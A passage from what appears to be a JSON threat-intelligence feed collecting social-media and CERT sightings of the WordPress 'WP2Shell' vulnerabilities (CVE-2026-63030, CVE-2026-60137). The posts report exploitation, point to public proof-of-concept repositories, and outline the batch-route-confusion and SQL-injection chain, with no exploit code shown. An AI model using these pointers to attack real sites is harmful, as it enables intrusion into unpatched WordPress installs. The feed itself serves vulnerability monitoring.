\u308b\u304a\u305d\u308c\u304c...", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mtkavmesvk2o"}, {"timestamp": "2026-08-21T02:47:38.553Z", "date_only": false, "value": "2026-08-21T02:47:38.553767Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mtkqogn7uj2v", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "7dd36511-4ad4-436c-828c-00aa2d7a004f", "content": "Top 3 CVE for last 7 days:\nCVE-2026-65400: 28 interactions\nCVE-2026-59310: 25 interactions\nCVE-2026-43499: 14 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-19490: 8 interactions\nCVE-2026-76404: 8 interactions\nCVE-2026-63030: 7 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mtkqogn7uj2v"}, {"timestamp": "2026-08-21T23:00:08.439Z", "date_only": false, "value": "2026-08-21T23:00:08.439585Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/pphm_HackerNews/2148", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "33ed32c4-4d9b-4a62-93e5-2e97c4f69519", "content": "\ud83d\udd34 WP2Shell WordPress Vulnerabilities Exploited in the Wild\n\nTwo newly patched WordPress vulnerabilities are being exploited in the wild, with attacks beginning shortly after they came to light. \n\nThe vulnerabilities have been dubbed WP2Shell and they are officially tracked as CVE-2026-60137 and CVE-2026-63030. \n\nAccording to Searchlight Cyber, whose researchers discovered the flaws, WordPress versions 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1 are affected. \n\n\u201cThe attack has no preconditions and can be exploited by an anonymous user in a stock install of WordPress with no plugins,\u201d the security firm warned.", "url": "https://t.me/pphm_HackerNews/2148"}, {"timestamp": "2026-08-22T19:00:05.244Z", "date_only": false, "value": "2026-08-22T19:00:05.244703Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/99012", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "63621cce-2d73-4d95-acb3-1a29dbfd4799", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a DeadExpl0it\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-21 04:42:00\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nwp2shell \u2014 WordPress Core Pre-Auth RCE Chain poc for CVE-2026-63030 and CVE-2026-60137\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/99012"}, {"timestamp": "2026-08-22T19:00:05.525Z", "date_only": false, "value": "2026-08-22T19:00:05.525468Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/98928", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "d8195809-35d8-4016-bbe4-8220437ec8f1", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-63030-lab\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a mhassani97\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Dockerfile\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-20 12:27:20\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nwp2shell (CVE-2026-63030 & CVE-2026-60137) - full RCE chain\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/98928"}, {"timestamp": "2026-08-22T19:00:05.666Z", "date_only": false, "value": "2026-08-22T19:00:05.666780Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/98743", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "d96e38ee-0292-4c05-8faa-31409d54ae49", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a POC-CVE-2026-63030-CVE-2026-60137-\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a TranDongA3\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-19 08:42:32\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/98743"}, {"timestamp": "2026-08-23T00:00:30.637Z", "date_only": false, "value": "2026-08-23T00:00:30.637673Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/98743", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "c1a5da84-0067-4761-bd36-e147a78a4192", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a POC-CVE-2026-63030-CVE-2026-60137-\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a TranDongA3\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-19 08:42:32\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/98743"}, {"timestamp": "2026-08-23T00:00:30.840Z", "date_only": false, "value": "2026-08-23T00:00:30.840327Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/98928", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "efe80e7d-3e36-46ab-927d-e43643d6698d", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-63030-lab\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a mhassani97\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Dockerfile\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-20 12:27:20\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nwp2shell (CVE-2026-63030 & CVE-2026-60137) - full RCE chain\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/98928"}, {"timestamp": "2026-08-23T00:00:31.161Z", "date_only": false, "value": "2026-08-23T00:00:31.161601Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/99012", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "0dffe34e-51a6-45f0-b130-42638aef3382", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a DeadExpl0it\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-21 04:42:00\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nwp2shell \u2014 WordPress Core Pre-Auth RCE Chain poc for CVE-2026-63030 and CVE-2026-60137\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/99012"}, {"timestamp": "2026-08-23T00:00:44.678Z", "date_only": false, "value": "2026-08-23T00:00:44.678649Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/pphm_HackerNews/2148", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "1fa30734-8175-49b1-b954-036c7c454e12", "content": "\ud83d\udd34 WP2Shell WordPress Vulnerabilities Exploited in the Wild\n\nTwo newly patched WordPress vulnerabilities are being exploited in the wild, with attacks beginning shortly after they came to light. \n\nThe vulnerabilities have been dubbed WP2Shell and they are officially tracked as CVE-2026-60137 and CVE-2026-63030. \n\nAccording to Searchlight Cyber, whose researchers discovered the flaws, WordPress versions 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1 are affected. \n\n\u201cThe attack has no preconditions and can be exploited by an anonymous user in a stock install of WordPress with no plugins,\u201d the security firm warned.", "url": "https://t.me/pphm_HackerNews/2148"}, {"timestamp": "2026-08-24T00:00:00Z", "date_only": false, "value": "2026-08-24T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_alerte \u00b7 CERTFR-2026-ALE-007", "record": "CERTFR-2026-ALE-007", "field": "last_revision_date"}, {"timestamp": "2026-08-24T00:00:00Z", "date_only": false, "value": "2026-08-24T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_alerte \u00b7 CERTFR-2026-ALE-007", "record": "CERTFR-2026-ALE-007", "field": "revisions.2.revision_date"}, {"timestamp": "2026-08-27T15:00:05.931Z", "date_only": false, "value": "2026-08-27T15:00:05.931269Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cve0day/455", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "a83a728d-06ca-4a50-9b5c-659d8c71d15e", "content": "CVE-2026-63030", "url": "https://t.me/cve0day/455"}, {"timestamp": "2026-08-27T20:29:02.495Z", "date_only": false, "value": "2026-08-27T20:29:02.495609Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hilarybaumann.com/post/3mu3ortrc7s2h", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "b7313a9a-8db9-4240-a3c5-34df0ad9808f", "content": "IF you manage any WP websites, you may want to go check them all for extra users & plugins.\n\nI thought I didn't get hit by this but I spotted a problem yesterday related to WordPress Core vulnerabilities CVE-2026-63030 & CVE-2026-60137\n\nNot my host but the most useful info I've found yet \u2193", "url": "https://bsky.app/profile/hilarybaumann.com/post/3mu3ortrc7s2h"}, {"timestamp": "2026-08-28T00:00:37.657Z", "date_only": false, "value": "2026-08-28T00:00:37.657948Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cve0day/455", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "0fa605fc-acb6-438a-b3d4-b651e371b244", "content": "CVE-2026-63030", "url": "https://t.me/cve0day/455"}, {"timestamp": "2026-08-28T13:20:28.203Z", "date_only": false, "value": "2026-08-28T13:20:28.203496Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mu5hchhbzm2a", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "c5866020-46b4-4f4e-990c-0dbd75a689a6", "content": "Top 3 CVE for last 7 days:\nCVE-2026-41992: 43 interactions\nCVE-2026-69836: 43 interactions\nCVE-2026-73570: 20 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-41992: 41 interactions\nCVE-2026-60137: 10 interactions\nCVE-2026-63030: 10 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mu5hchhbzm2a"}, {"timestamp": "2026-08-29T20:00:07.200Z", "date_only": false, "value": "2026-08-29T20:00:07.200057Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CyberDispatch/2299", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "2e57092c-de74-4b3f-bec6-d0752dc337f2", "content": "wp2shell now has two CVEs, and a working proof-of-concept is public.\n\n> CVE-2026-63030 breaks REST batch routing\n> CVE-2026-60137 injects SQL\n\nChained, they give an anonymous attacker code execution on affected WordPress sites.", "url": "https://t.me/CyberDispatch/2299"}, {"timestamp": "2026-08-29T23:00:08.809Z", "date_only": false, "value": "2026-08-29T23:00:08.809336Z", "kind": "sighting", "label": "Seen", "source": "Telegram/TpD_EhiVvoRRT5pQQyvb-1r61ahWr8WRyHVAuHr5I07s1ek", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "622417f5-84bb-4180-9dce-88ea055e78a2"}, {"timestamp": "2026-08-30T00:00:28.892Z", "date_only": false, "value": "2026-08-30T00:00:28.892622Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberDispatch/2299", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "52f4de69-67cb-4a6f-8c26-30a26ce174a2", "content": "wp2shell now has two CVEs, and a working proof-of-concept is public.\n\n> CVE-2026-63030 breaks REST batch routing\n> CVE-2026-60137 injects SQL\n\nChained, they give an anonymous attacker code execution on affected WordPress sites.", "url": "https://t.me/CyberDispatch/2299"}, {"timestamp": "2026-08-30T18:00:03.866Z", "date_only": false, "value": "2026-08-30T18:00:03.866804Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/100381", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "2d279bd4-2530-4176-9941-f1db23c364bd", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WP2Shell-Scanner\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Sec-Dan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-30 15:57:58\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRead-only CLI to check whether a WordPress site is exposed to WP2Shell (CVE-2026-63030 / CVE-2026-60137)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/100381"}, {"timestamp": "2026-08-31T00:00:47.067Z", "date_only": false, "value": "2026-08-31T00:00:47.067819Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/TpD_EhiVvoRRT5pQQyvb-1r61ahWr8WRyHVAuHr5I07s1ek", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "811f1b5e-0f99-4dd8-be12-cf0e773dc0df"}, {"timestamp": "2026-08-31T16:21:34.601Z", "date_only": false, "value": "2026-08-31T16:21:34.601884Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ctkqiang.bsky.social/post/3mufcsx7ehk2o", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "10231866-6550-4fab-9f87-01f76cebb822", "content": "CVE-2026-63030: wp2shell a Critical Remote Code Execution Vulnerability in WordPress Core www.rapid7.com/blog/post/et...", "url": "https://bsky.app/profile/ctkqiang.bsky.social/post/3mufcsx7ehk2o"}, {"timestamp": "2026-09-02T01:00:15.214Z", "date_only": false, "value": "2026-09-02T01:00:15.214441Z", "kind": "sighting", "label": "Seen", "source": "Telegram/1rxP3qIuireobzlbCghqLtlBEvOO40pQENYobB1-OKe51is", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "2eadadf4-2b4e-4672-a0fe-ad1edc7ee979"}, {"timestamp": "2026-09-02T06:00:06.266Z", "date_only": false, "value": "2026-09-02T06:00:06.266127Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/HackingTeamGrupoOfficial/47625", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "0c18e27e-5756-4898-bf4a-ed274657e8ef", "content": "CVE-2026-63030  WordPress\n*\nwp2shell", "url": "https://t.me/HackingTeamGrupoOfficial/47625"}, {"timestamp": "2026-09-02T06:00:06.417Z", "date_only": false, "value": "2026-09-02T06:00:06.417458Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/HackingTeamGrupoOfficial/47636", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "22432862-677e-4da1-84bd-b4325f7b1e85", "content": "\u203c\ufe0f\ud83d\udea8 CVE-2026-63030 // wp2shell-poc: Proof-of-concept for an unauthenticated SQL injection in WordPress core that chains to remote code execution, via REST batch route confusion.\n\nPoC: https://github.com/Icex0/wp2shell-poc", "url": "https://t.me/HackingTeamGrupoOfficial/47636"}, {"timestamp": "2026-09-02T06:00:17.019Z", "date_only": false, "value": "2026-09-02T06:00:17.019395Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/Russian_OSINT/7565", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "23e480ae-d295-4a2d-9c82-7489fc5eb185", "content": "\u0421\u043e\u0441\u0442\u043e\u044f\u043b\u0441\u044f \u0440\u0435\u043b\u0438\u0437 WordPress 7.0.2, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: \u043e\u0434\u043d\u0443 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u043e\u0434\u043d\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0433\u043e. \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u043a\u043e\u043c\u0430\u043d\u0434\u0430 WordPress \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u0430 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0441\u0430\u0439\u0442\u043e\u0432.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0443\u0433\u0440\u043e\u0437\u0430 \u2014 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f (CVE-2026-60137), \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 TF1T, dtro \u0438 haongo.\n\n\u0412\u0442\u043e\u0440\u0430\u044f, \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 (RCE) \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (CVE-2026-63030), \u0431\u044b\u043b\u0430 \u043d\u0430\u0439\u0434\u0435\u043d\u0430 \u0410\u0434\u0430\u043c\u043e\u043c \u041a\u044c\u044e\u0441\u043e\u043c (Adam Kues) \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Searchlight Cyber (Assetnote).\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e.\n\nhttps://wordpress.org/news/2026/07/wordpress-7-0-2-release/\n--------------------------\n\n\ud83e\udd14\u0423\u0434\u0438\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435: \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043a\u0435\u0439\u0441\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u0440\u044b\u043d\u043e\u0447\u043d\u0430\u044f \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0443 \u0431\u0440\u043e\u043a\u0435\u0440\u043e\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442 500 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432, \u0431\u044b\u043b \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u043e \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u043d\u043e\u0432\u0435\u0439\u0448\u0435\u0439 \u044f\u0437\u044b\u043a\u043e\u0432\u043e\u0439 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c\u044e \u2b55\ufe0f GPT5.6 Sol Ultra. \u0418\u0418 \u0432\u044b\u044f\u0432\u0438\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u00ab\u0441 \u0447\u0438\u0441\u0442\u043e\u0433\u043e \u043b\u0438\u0441\u0442\u0430\u00bb \u0432\u0441\u0435\u0433\u043e \u0437\u0430 10 \u0447\u0430\u0441\u043e\u0432 \u043f\u0440\u0438 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0442\u0440\u0430\u0442\u0430\u0445 \u043e\u043a\u043e\u043b\u043e 25 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410.\n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0430\u0442\u0430\u043a\u0438 \u0441\u0442\u0430\u043b\u0430 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 \u0440\u0430\u0441\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043e\u0432 (batch-route confusion) \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 REST API, \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u043d\u043e\u043c \u0435\u0449\u0435 \u0432 WordPress 5.6. \u0418\u0418 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0435 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441\u0434\u0432\u0438\u0433 \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432 \u043c\u0430\u0441\u0441\u0438\u0432\u043e\u0432 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043c\u0438\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u043e\u0447\u0438\u0441\u0442\u043a\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432.\n\n\u0422\u043e, \u0447\u0442\u043e \u043d\u0430 \u0440\u044b\u043d\u043a\u0435 \u043a\u0438\u0431\u0435\u0440\u043e\u0440\u0443\u0436\u0438\u044f \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0432 500 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432, \u0431\u044b\u043b\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043e \u043f\u0440\u0438 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0445 \u0437\u0430\u0442\u0440\u0430\u0442\u0430\u0445 \u0432\u0441\u0435\u0433\u043e \u0432 25 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 (\u0438\u043c\u0435\u043d\u043d\u043e \u0441\u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0442\u0440\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u043f\u043e \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0435 \u043d\u0430 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044c). \u0418\u0418\u0448\u043a\u0430 \u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430\u0441\u044c \u0432\u0441\u0435\u0433\u043e \u0437\u0430 10 \u0447\u0430\u0441\u043e\u0432.\n\n\u0418\u0418 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0430\u0448\u0435\u043b \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443, \u043e\u043d \u0432\u044b\u0441\u0442\u0440\u043e\u0438\u043b \u0444\u0435\u043d\u043e\u043c\u0435\u043d\u0430\u043b\u044c\u043d\u043e \u0441\u043b\u043e\u0436\u043d\u0443\u044e, \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u0443\u044e \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0437\u0430\u0449\u0438\u0442\u044b. \u041a\u0430\u043a \u043f\u0440\u0438\u0437\u043d\u0430\u043b\u0441\u044f \u0441\u0430\u043c 